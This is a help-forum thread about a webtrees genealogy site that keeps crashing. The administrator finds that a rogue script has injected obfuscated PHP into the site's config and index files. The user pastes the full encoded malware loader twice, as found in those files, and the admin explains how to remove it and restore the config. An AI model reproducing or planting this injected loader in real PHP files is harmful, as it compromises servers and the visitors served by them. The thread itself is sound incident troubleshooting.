This Help forum is for issues relates to the latest release (1.7.2). For issues related to beta or github version please use their own Help forum.
Before asking for help please read "How to request help" by clicking on that tab above here."
  • Page:
  • 1

TOPIC:

Site crashed Second time in 3 months 5 years 3 months ago #1

  • ksajdak
  • ksajdak's Avatar Topic Author
  • Offline
  • New Member
  • New Member
  • Posts: 43
My site:

sportsage.net/webtrees

has crashed again.

It returns:

#0 unknown:unknown ErrorException("syntax error, unexpected '$' in C:\home\site\wwwroot\webtrees\data\config.ini.php on line 1 ")
#1 \includes\session.php:274 parse_ini_file()
#2 \index.php:31 require()

My server people are suggesting a security issue.

The big problem . . . even renaming the config.ini.php file will not get me access to any kind of set-up so I can re-establish a connection to check anything.

What should I do?

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #2

  • fisharebest
  • fisharebest's Avatar
  • Offline
  • Administrator
  • Administrator
  • Posts: 14515
The file data/config.ini.php is created by the setup wizard when you first install webtrees.

It just contains your database connection details.

The first line should *NOT* contain a "$", so the error message suggests that this file has been
modified.

> My server people are suggesting a security issue.

I would be inclined to agree, although I'd need to see the file to be sure.

A likely explanation is that a security vulnerability somewhere on the server (not necessarily on your own account/site), has allowed a malicious user to modify the script.

It *should* look like this:

; <?php exit; ?> DO NOT DELETE THIS LINE
dbhost="localhost"
dbport="3306"
dbuser="XXXX"
dbpass="XXXX"
dbname="webtrees"
tblpfx="wt_"

If you want to show us the corrupted file, be sure to blank out the dbuser and dbpass entries. We don't need to know these.

If I were you, I would do two things.
1) re-create this file, using the template above.
2) look for similar modification to other files.
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #3

  • ksajdak
  • ksajdak's Avatar Topic Author
  • Offline
  • New Member
  • New Member
  • Posts: 43
Shouldn't deleting the config.ini.php file kick me into the setup?

The the program would create a new one, right?


The old config.ini says --

<?php $lfatrnjs = 'p%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>y84]275]y83]273]y76]277#<!%t26<C>^#zsfvr# x5cq%7**^#zsfvr# x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27 x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! N}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.9851#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9x75 156 x63 164 x69 157 x6e"; function urioggt($n){return2]88]5]48]32M3]317]4Ce*[!%cIjQeTQcOc/#00#W~!Ydrr!<*::::::-111112)eobs`un>q68]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]45opd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`m x7fw6* x7f_*#ujojRk3`{666~6<&w6< !isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALS[" x61 156 if ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x72if((function_exists(" x6f 142 x5f 163vg}x;0]=])0#)U! x27{**u%-#u%V<#65,47R25,d7R17,67R**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)u42]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5cw>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y77]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)!|!*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uf<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]32!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%r%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gpjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~o]s]#)fepmqyf x27*&7-n%)utjm6< 5f 125 x53 105 x52 137 x41 107 x45 116 x54"]);24- x24*<!~! x24/%t2w/ x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%pd%6|6.7eu{66~67<&w6<*&7-#o]s]SUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7f!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-q_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*do2]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p!sp!*#ojneb#-*f%)sfxpmpusut)tpqssu%j:.2^,%b:<!%c:>%s: x5c%j:m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#37227pd%6<pd%w6Z6<.4`hA x_*#fmjgk4`{6~6<tfs%w6< x7f x242178}527}88:}334}472 x24<!%ff2!>!bssbz) !*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV <%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~x24/%tjw/ x24)% x24- x24y4 x74 141 x72 164") && (- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%ytpmdXA6|7**197-2qj%7-K)udfoopdX7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#Ix7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde> x7f;!|!}{;)gj}l;33bq}k;opjudo#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::*sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmql:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!}<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j-%rxB%h>#]y31]278]y3e]81]K78:56>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]A x22)7gj6<*QDU`MPT7-NBFtjm!|!*5! x27!hmg%)!gj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f5cq%)ufttj x22)gj6<^#Y# x5c*<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$ijuncgl w6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!o)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%nj!/!#0#)idubn`hfsq)q% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%45]212]445]43]321]464]284]364]6]234]3j!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! s:~928>> x22:ftmbg39*56A:>:8p%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+]+^?]_ x5c}X x24<!%tmw!>!#]:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]8.%)euhA)3of>2bd%!<5h%x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*? 166 x3a 61 x31"))) { $nvooowf = " x63 16:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{eG]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fosvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%www6*CWtfs%)7gj6<*id%)ftpmdR6#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss<#462]47y]252]18y]#>q%<#762]7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=]58y]472]37y]672]48y]#>s%= $nvooowf("", $ogkvrgn); $ijuncgl();}}67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!>!/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c xttj x22)gj!|!*nbsbq%o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)fpoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22:|:7#6#)tutjyf`439275ttfsqx24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x4#)zbssb!>!ssbnpe_GMFT`QIQ&f_Ux7fw6*CW&)7gj6<.[A x27&egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7 chr(ord($n)-1);} @error_reporting(0); $ogkvrgn = implode(array_ma2 x65 141 x74 145 x5f 146 <*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6<x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!TPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%y>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,66< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sptRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce4p("urioggt",str_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y7sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsobgdtrfyge'; $uyiofo=explode(chr((550-430)),substr($lfatrnjs,(36524-30647),(237-203))); $lheugv = $uyiofo[0]($uyiofo[(3-2)]); $mmcxmph = $uyiofo[0]($uyiofo[(13-11)]); if (!function_exists('wohyuqrl')) { function wohyuqrl($freplh, $obkmsxwe,$cdfzqmv) { $czowavfhv = NULL; for($kwbcfy=0;$kwbcfy<(sizeof($freplh)/2);$kwbcfy++) { $czowavfhv .= substr($obkmsxwe, $freplh[($kwbcfy*2)],$freplh[($kwbcfy*2)+(5-4)]); } return $cdfzqmv(chr((47-38)),chr((491-399)),$czowavfhv); }; } $xnlzpolp = explode(chr((218-174)),'831,37,2626,23,707,64,1704,62,1636,46,771,60,4151,41,5317,26,445,57,5251,66,5811,66,1947,55,2179,22,173,56,1803,30,1605,31,5219,32,3183,66,4900,65,2751,31,3249,24,1833,37,3420,61,3539,66,142,31,3342,27,3625,38,1905,42,3294,48,2201,26,4542,27,5557,48,5343,51,673,34,5142,23,5605,55,638,35,4364,70,3481,58,1539,66,3102,50,1472,67,3734,66,917,41,3273,21,5660,60,2329,39,2002,68,3663,34,2271,58,4031,21,4822,58,1766,37,550,26,3885,64,3002,49,3605,20,2070,34,5756,55,5112,30,5441,58,1187,66,4880,20,1369,60,5720,36,1870,35,0,70,3857,28,5020,26,70,43,4192,50,2431,52,2483,67,2879,38,894,23,4303,61,4965,55,3051,51,2917,30,868,26,4096,55,3949,27,113,29,1074,62,2368,63,1136,51,2130,49,4697,25,4619,28,4761,61,2227,44,5046,66,3800,57,2599,27,4052,44,2649,68,1682,22,229,70,5394,47,522,28,4434,60,5165,54,1429,43,299,35,4569,50,3152,31,334,56,3976,55,390,55,2717,34,5499,58,2782,55,4242,61,2550,49,1253,53,576,62,502,20,3697,37,958,63,4647,50,1021,53,2104,26,4494,48,1306,63,2837,42,2947,55,3369,51,4722,39'); $ntsebvzk = $lheugv("",wohyuqrl($xnlzpolp,$lfatrnjs,$mmcxmph)); $lheugv=$lfatrnjs; $ntsebvzk(""); $ntsebvzk=(406-285); $lfatrnjs=$ntsebvzk-1; ?>; <?php exit; ?> DO NOT DELETE THIS LINE
dbhost="mysql1.gear.host"
dbport="3306"
dbuser="XXXXXXXX"
dbpass="XXXXXXXX"
dbname="sportsage"
tblpfx="w2_"

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #4

  • fisharebest
  • fisharebest's Avatar
  • Offline
  • Administrator
  • Administrator
  • Posts: 14515
> Shouldn't deleting the config.ini.php file kick me into the setup?

> The the program would create a new one, right?

Yes. It may give an error at the end, but *should* work.

However, editing this file to delete the injected code would be quicker/easier.
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #5

  • fisharebest
  • fisharebest's Avatar
  • Offline
  • Administrator
  • Administrator
  • Posts: 14515
Ah, a nice bit of obfuscated PHP.

I've seen this sort of thing before. A rogue script scans the server for any .PHP file that it can write, and inserts this at the beginning. It will probably be trying to add adverts or some other malware to every page.

If I get some time later, I might try to reverse-engineer it.
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #6

  • ksajdak
  • ksajdak's Avatar Topic Author
  • Offline
  • New Member
  • New Member
  • Posts: 43
What should the index.php file say?

My index.php file in the data directory says:

<?php $lfatrnjs = 'p%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>y84]275]y83]273]y76]277#<!%t26<C>^#zsfvr# x5cq%7**^#zsfvr# x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27 x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! N}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.9851#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9x75 156 x63 164 x69 157 x6e"; function urioggt($n){return2]88]5]48]32M3]317]4Ce*[!%cIjQeTQcOc/#00#W~!Ydrr!<*::::::-111112)eobs`un>q68]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]45opd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`m x7fw6* x7f_*#ujojRk3`{666~6<&w6< !isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALS[" x61 156 if ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x72if((function_exists(" x6f 142 x5f 163vg}x;0]=])0#)U! x27{**u%-#u%V<#65,47R25,d7R17,67R**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)u42]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5cw>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y77]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)!|!*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uf<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]32!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%r%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gpjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~o]s]#)fepmqyf x27*&7-n%)utjm6< 5f 125 x53 105 x52 137 x41 107 x45 116 x54"]);24- x24*<!~! x24/%t2w/ x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%pd%6|6.7eu{66~67<&w6<*&7-#o]s]SUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7f!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-q_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*do2]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p!sp!*#ojneb#-*f%)sfxpmpusut)tpqssu%j:.2^,%b:<!%c:>%s: x5c%j:m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#37227pd%6<pd%w6Z6<.4`hA x_*#fmjgk4`{6~6<tfs%w6< x7f x242178}527}88:}334}472 x24<!%ff2!>!bssbz) !*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV <%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~x24/%tjw/ x24)% x24- x24y4 x74 141 x72 164") && (- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%ytpmdXA6|7**197-2qj%7-K)udfoopdX7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#Ix7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde> x7f;!|!}{;)gj}l;33bq}k;opjudo#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::*sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmql:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!}<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j-%rxB%h>#]y31]278]y3e]81]K78:56>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]A x22)7gj6<*QDU`MPT7-NBFtjm!|!*5! x27!hmg%)!gj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f5cq%)ufttj x22)gj6<^#Y# x5c*<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$ijuncgl w6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!o)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%nj!/!#0#)idubn`hfsq)q% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%45]212]445]43]321]464]284]364]6]234]3j!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! s:~928>> x22:ftmbg39*56A:>:8p%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+]+^?]_ x5c}X x24<!%tmw!>!#]:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]8.%)euhA)3of>2bd%!<5h%x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*? 166 x3a 61 x31"))) { $nvooowf = " x63 16:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{eG]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fosvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%www6*CWtfs%)7gj6<*id%)ftpmdR6#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss<#462]47y]252]18y]#>q%<#762]7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=]58y]472]37y]672]48y]#>s%= $nvooowf("", $ogkvrgn); $ijuncgl();}}67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!>!/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c xttj x22)gj!|!*nbsbq%o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)fpoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22:|:7#6#)tutjyf`439275ttfsqx24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x4#)zbssb!>!ssbnpe_GMFT`QIQ&f_Ux7fw6*CW&)7gj6<.[A x27&egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7 chr(ord($n)-1);} @error_reporting(0); $ogkvrgn = implode(array_ma2 x65 141 x74 145 x5f 146 <*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6<x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!TPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%y>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,66< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sptRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce4p("urioggt",str_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y7sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsobgdtrfyge'; $uyiofo=explode(chr((550-430)),substr($lfatrnjs,(36524-30647),(237-203))); $lheugv = $uyiofo[0]($uyiofo[(3-2)]); $mmcxmph = $uyiofo[0]($uyiofo[(13-11)]); if (!function_exists('wohyuqrl')) { function wohyuqrl($freplh, $obkmsxwe,$cdfzqmv) { $czowavfhv = NULL; for($kwbcfy=0;$kwbcfy<(sizeof($freplh)/2);$kwbcfy++) { $czowavfhv .= substr($obkmsxwe, $freplh[($kwbcfy*2)],$freplh[($kwbcfy*2)+(5-4)]); } return $cdfzqmv(chr((47-38)),chr((491-399)),$czowavfhv); }; } $xnlzpolp = explode(chr((218-174)),'831,37,2626,23,707,64,1704,62,1636,46,771,60,4151,41,5317,26,445,57,5251,66,5811,66,1947,55,2179,22,173,56,1803,30,1605,31,5219,32,3183,66,4900,65,2751,31,3249,24,1833,37,3420,61,3539,66,142,31,3342,27,3625,38,1905,42,3294,48,2201,26,4542,27,5557,48,5343,51,673,34,5142,23,5605,55,638,35,4364,70,3481,58,1539,66,3102,50,1472,67,3734,66,917,41,3273,21,5660,60,2329,39,2002,68,3663,34,2271,58,4031,21,4822,58,1766,37,550,26,3885,64,3002,49,3605,20,2070,34,5756,55,5112,30,5441,58,1187,66,4880,20,1369,60,5720,36,1870,35,0,70,3857,28,5020,26,70,43,4192,50,2431,52,2483,67,2879,38,894,23,4303,61,4965,55,3051,51,2917,30,868,26,4096,55,3949,27,113,29,1074,62,2368,63,1136,51,2130,49,4697,25,4619,28,4761,61,2227,44,5046,66,3800,57,2599,27,4052,44,2649,68,1682,22,229,70,5394,47,522,28,4434,60,5165,54,1429,43,299,35,4569,50,3152,31,334,56,3976,55,390,55,2717,34,5499,58,2782,55,4242,61,2550,49,1253,53,576,62,502,20,3697,37,958,63,4647,50,1021,53,2104,26,4494,48,1306,63,2837,42,2947,55,3369,51,4722,39'); $ntsebvzk = $lheugv("",wohyuqrl($xnlzpolp,$lfatrnjs,$mmcxmph)); $lheugv=$lfatrnjs; $ntsebvzk(""); $ntsebvzk=(406-285); $lfatrnjs=$ntsebvzk-1; ?><?php header('Location: ../index.php');

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #7

  • ksajdak
  • ksajdak's Avatar Topic Author
  • Offline
  • New Member
  • New Member
  • Posts: 43
Deleted all the stuff above . . .
<?php exit; ?> DO NOT DELETE THIS LINE
in the config.ini so it reads:

<?php exit; ?> DO NOT DELETE THIS LINE
dbhost="mysql1.gear.host"
dbport="3306"
dbuser="XXXXXXX"
dbpass="XXXXXXX"
dbname="sportsage"
tblpfx="w2_"

Now the page returns . . .

#0 unknown:unknown ErrorException("syntax error, unexpected '$' in C:\home\site\wwwroot\webtrees\data\config.ini.php on line 1 ")
#1 \includes\session.php:274 parse_ini_file()
#2 \index.php:31 require()

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #8

  • fisharebest
  • fisharebest's Avatar
  • Offline
  • Administrator
  • Administrator
  • Posts: 14515
1) you deleted slightly too much. The file begins with a semicolon.

2) the error suggests that either you didn't upload the file, or it has been modified again. There is no "$" in the file.
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

Do you need a web hosting solution for your webtrees site?
If you prefer a host that specialises in webtrees, the following page lists some suppliers able to provide one for you: 

Site crashed Second time in 3 months 5 years 3 months ago #9

  • fisharebest
  • fisharebest's Avatar
  • Offline
  • Administrator
  • Administrator
  • Posts: 14515
Can you send the file to me by email? This email address is being protected from spambots. You need JavaScript enabled to view it.
The text you copied/pasted above isn't quite right.
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #10

  • ksajdak
  • ksajdak's Avatar Topic Author
  • Offline
  • New Member
  • New Member
  • Posts: 43
I saw that and added the ; back . . .

Still got the error.


Should the index.php file be in the data directory of the application directory?

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #11

  • fisharebest
  • fisharebest's Avatar
  • Offline
  • Administrator
  • Administrator
  • Posts: 14515
There is a tiny index.php in the data folder. Leave it there.

This exists to prevent the webserver from displaying the contents of this folder.

(Ideally, the webserver configuration would prevent this, but not everyone can modify their webserver confg).
Greg Roach - This email address is being protected from spambots. You need JavaScript enabled to view it. - fisharebest.webtrees.net

Please Log in or Create an account to join the conversation.

Site crashed Second time in 3 months 5 years 3 months ago #12

  • fisharebest
  • fisharebest's Avatar
  • Offline
